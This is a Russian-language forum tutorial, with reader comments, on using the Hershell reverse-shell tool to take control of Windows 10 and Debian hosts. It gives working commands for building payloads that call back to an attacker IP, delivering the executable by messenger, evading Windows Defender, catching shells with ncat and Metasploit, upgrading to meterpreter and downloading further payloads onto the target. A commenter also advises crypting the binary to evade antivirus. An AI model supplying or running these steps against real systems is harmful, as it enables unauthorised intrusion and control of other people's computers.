Статья Hack Windows 10, Linux x32(x64) - Hershell

Приветствую гостей и участников Codeby.net. В этой статье поговорим о способах проникновения и получения контроля над удаленными ПК на ОС Linux и Windows.

Наша первоочередная цель – это заполучить надежный shell на нужном хосте, а потом уже думать над повышением привилегий и так далее.
И для ее осуществления я выбрал инструмент под названием Hershell, не громоздкая утилита, удобная в использовании, написанная на Go (Golang).

1538161602785.png


Он использует TLS для защиты соединений и обеспечивает функцию фиксации отпечатка пальца, открытого ключа сертификата, предотвращая перехват трафика.

Поддерживаемые ОС:
  • Windows
  • Linux
  • Mac OS
  • FreeBSD и её производные.*
*Только если ваша FreeBSD может запускать ELF файлы.

Очевидными плюсами, разработчики Hershell называют, простоту создания обратного шелла, поддержку множества операционных систем, и в отличие от meterpreter, незаметность для AV-решений.

Так, как инструмент написан на Go, мы можем кросс-компилировать исполняемый код для платформы, отличной от той, на которой исполняется сам кросс-компилятор.

Для своих экспериментов я выбрал в качестве атакующего хоста – OS Kali Linux 2018.4.
Атакуемые – Debian, Windows 10 Pro.

В Kali Linux по умолчанию Go не установлен, поэтому его необходимо скачать и установить вручную:

Код:
wget https://dl.google.com/go/go1.11.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.11.linux-amd64.tar.gz

1538161769094.png


И добавить в переменную PATH, путь к установленному пакету (редактируем .bashrc)

Код:
export PATH="/usr/local/go/bin:$PATH"

1538161836439.png


Скачиваем себе Hershell со страницы разработчиков на Github.

Код:
git clone https://github.com/lesnuages/hershell

1538161869312.png


Создание полезной нагрузки:

Для этого этапа нам потребуется указать значения нескольких переменных для Makefile.
  • GOOS: целевая ОС.
  • GOARCH: целевая архитектура.
  • LHOST: IP-адрес атакующего или доменное имя.
  • LPORT: слушающий порт.
Функции доступные в Makefile:
  • depends: генерирует сертификат сервера (требуется для обратного шелла).
  • windows32: создает 32-битные исполняемые файлы (PE 32 бит)
  • windows64: создает 64-битные исполняемые файлы (PE 64 бит)
  • linux32: создает исполняемый файл linux 32 бита (ELF 32 бит)
  • linux64: создает исполняемый файл Linux 64 бит (ELF 64 бит)
  • macos32: создает исполняемый файл mac os 32 бит (Mach-O)
  • macos64: создает исполняемый файл mac os 64 бит (Mach-O)
Использование shell’a:

После запуска на целевом хосте, вам будет предоставлена удаленная оболочка. Эта пользовательская интерактивная оболочка позволит вам выполнять системные команды через cmd.exe в Windows или /bin/sh на машинах UNIX.
Поддерживаются следующие специальные команды:
  • run_shell: дает управление системной оболочкой (позволяя, например, изменять каталоги).
  • inject <base64 shellcode>: вводит шеллкод (закодированный base64) в память этого же процесса и выполняет его.
  • meterpreter [tcp | http | https] IP: PORT: подключается к multi/handler, чтобы получить обратный tcp, http или https meterpreter stage2 из metasploit и выполнить шеллкод в памяти (только в Windows).
  • exit: выход.
Использование Hershell:

Прежде всего, вам нужно будет создать действительный сертификат:

Код:
make depends

1538162010220.png


Компиляция для Windows:

Код:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Компиляция для Linux:

Код:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Компиляция для Mac OS X:

Код:
$ make macos LHOST=192.168.0.12 LPORT=1234

Для обработки входящих соединений можно использовать различные инструменты, такие как:
  • socat
  • ncat
  • openssl server module
  • metasploit multi handler (с python/shell_reverse_tcp_ssl payload)
Компилируем полезную нагрузку для Windows x64:

Код:
make windows64 LHOST=192.168.0.101 LPORT=4444

1538162134376.png


В каталоге появляется файл hershell.exe, который нам необходимо доставить на целевой хост.

1538162149007.png


Сейчас популярны мессенджеры, проще всего использовать их, к примеру.

1538162167581.png

После скачивания, на него не обратил внимания Защитник Windows, и дал спокойно сохранить файл.
Теперь необходимо, настроиться на получение входящих подключений, я выбрал ncat, по умолчанию он отсутствует, но можно поставить из репозиториев.

Код:
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444

1538162200973.png


Когда на целевом хосте выполниться файл hershell.exe, мы получим обратный шелл.
К слову, тот же Защитник Windows, был не против запуска файла и никакой реакции не последовало.

1538162221800.png


Как итог, полноценный шелл командной строки Windows:

1538162237019.png


Шелл Hershell, несомненно, хорош, но у него есть замечательная функция – инициация шелла meterpreter, проапгрейдим его:

Код:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.0.101
set LPORT 4445
set HANDLERSSLCERT /home/Pentest/hershell/server.pem
exploit

1538162284808.png


Создаем meterpreter сессию из Hershell:

Код:
meterpreter https 192.168.0.101:4445

1538162316062.png


Итог, немного предсказуем:

1538162332027.png


А в процессах мы видим такую картину:

1538162350414.png


Стоит отметить, что процесс Hershell включает в себя meterpreter, при снятии этой задачи – погибает и сессия в msfconsole.
Дальнейшие действия зависят от ваших умений и фантазии.

C Windows’ами все понятно, теперь проверим как Hershell сработает на Debian, компилируем полезную нагрузку:

Код:
make linux64 LHOST=192.168.0.101 LPORT=4444

1538162402711.png


Активируем прием входящих подключений:

Код:
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444

И запускаем полезную нагрузку на целевом хосте:

1538162617692.png


Шелл здесь довольно ограничен, поэтому хотелось бы, расширения возможностей, стандартной функции импорта meterpreter нет, но мы можем использовать wget для загрузки файла содержащего meterpreter.
С помощью msfvenom создадим полезную нагрузку:

1538162641139.png


И поместим ее на локальный сервер, для последующей загрузки на целевой хост:

1538162654547.png


Загружаем из Hershell на целевом хосте файл с нашего сервера:

1538162670740.png


Дальше Metasploit и все необходимые настройки для получения сессии:

1538162685028.png


Запускаем созданный и загруженный файл, на целевой ОС:

1538162698457.png


И пользуемся полноценным шеллом meterpreter:

1538162712488.png


В дополнение, чтобы полностью почувствовать себя дома, включаем шелл от текущего пользователя и импортируем удобную нам оболочку:

Код:
shell
python -c 'import pty;pty.spawn("/bin/bash")'

1538162743232.png


Все, это конец) Мысли и предложения жду в комментариях.
Специально для Cobeby.net.
 
D

DarkAres

Можно вопрос. Для перенаправления порта можно использовать ngrok, а ещё сервисы не подскажите?
 

gerd

Green Team
21.09.2017
97
18
BIT
0
День добрый , кто подскажет в чем проблема?
root@gnom:~/hershell# make windows64 LHOST=192.168.0.101 LPORT=4444
GOOS=windows GOARCH=amd64 go build --ldflags "-X main.connectString=192.168.0.101:4444 -X main.fingerPrint=$(openssl x509 -fingerprint -sha256 -noout -in server.pem | cut -d '=' -f2) -H=windowsgui" -o hershell.exe hershell.go
hershell.go:14:2: cannot find package "github.com/lesnuages/hershell/meterpreter" in any of:
/usr/lib/go-1.10/src/github.com/lesnuages/hershell/meterpreter (from $GOROOT)
/root/go/src/github.com/lesnuages/hershell/meterpreter (from $GOPATH)
hershell.go:15:2: cannot find package "github.com/lesnuages/hershell/shell" in any of:
/usr/lib/go-1.10/src/github.com/lesnuages/hershell/shell (from $GOROOT)
/root/go/src/github.com/lesnuages/hershell/shell (from $GOPATH)
make: *** [Makefile:29: windows64] Error 1
root@gnom:~/hershell#
 

gerd

Green Team
21.09.2017
97
18
BIT
0
День добрый , кто подскажет в чем проблема?
root@gnom:~/hershell# make windows64 LHOST=192.168.0.101 LPORT=4444
GOOS=windows GOARCH=amd64 go build --ldflags "-X main.connectString=192.168.0.101:4444 -X main.fingerPrint=$(openssl x509 -fingerprint -sha256 -noout -in server.pem | cut -d '=' -f2) -H=windowsgui" -o hershell.exe hershell.go
hershell.go:14:2: cannot find package "github.com/lesnuages/hershell/meterpreter" in any of:
/usr/lib/go-1.10/src/github.com/lesnuages/hershell/meterpreter (from $GOROOT)
/root/go/src/github.com/lesnuages/hershell/meterpreter (from $GOPATH)
hershell.go:15:2: cannot find package "github.com/lesnuages/hershell/shell" in any of:
/usr/lib/go-1.10/src/github.com/lesnuages/hershell/shell (from $GOROOT)
/root/go/src/github.com/lesnuages/hershell/shell (from $GOPATH)
make: *** [Makefile:29: windows64] Error 1
root@gnom:~/hershell#



Go как устанавливали?
sudo curl -O
sudo tar -xvf go1.8.linux-amd64.tar.gz
sudo mv go /usr/local
 
  • Нравится
Реакции: Pablo Garcia
S

someone

@gerd Была такая же проблема, как я понял, необходимо установить зависимости для проекта.
go get github.com/lesnuages/hershell

Подробнее описано тут

@Vander допиши, пожалуйста, в статью. Тк я в go полный нуб - искал битый час, как зарезолвить зависимости
 

Pablo Garcia

Green Team
14.04.2018
20
8
BIT
0
@gerd Была такая же проблема, как я понял, необходимо установить зависимости для проекта.
go get github.com/lesnuages/hershell

Подробнее описано тут

@Vander допиши, пожалуйста, в статью. Тк я в go полный нуб - искал битый час, как зарезолвить зависимости
моя нервная система благадорит тебя, тоже столкнулся с этим траблом, перенервничал, залес на форум , а тут ты уже решение подсказал, спасибо тебе и добра!)))
 

Pablo Garcia

Green Team
14.04.2018
20
8
BIT
0
при запуске нкат (
nc --ssl --ssl-cert server.pem --ssl-key server.key --lvp 4444
)
выдает такую ошибку :
nc: invalid option -- '-'
nc -h for help

призапуске hershell.exe как и в момент подключения флешки с ним к пк ( ос вин 10 без ав), стандартные средства защиты сразу кричать , что малварь и определяют как метерперетер.
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
при запуске нкат (
nc --ssl --ssl-cert server.pem --ssl-key server.key --lvp 4444
)
выдает такую ошибку :
nc: invalid option -- '-'
nc -h for help

призапуске hershell.exe как и в момент подключения флешки с ним к пк ( ос вин 10 без ав), стандартные средства защиты сразу кричать , что малварь и определяют как метерперетер.
крипт ложить нужно. такие вещи долго в паблики не лежат

p.s. статья хорошая, спасибо.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!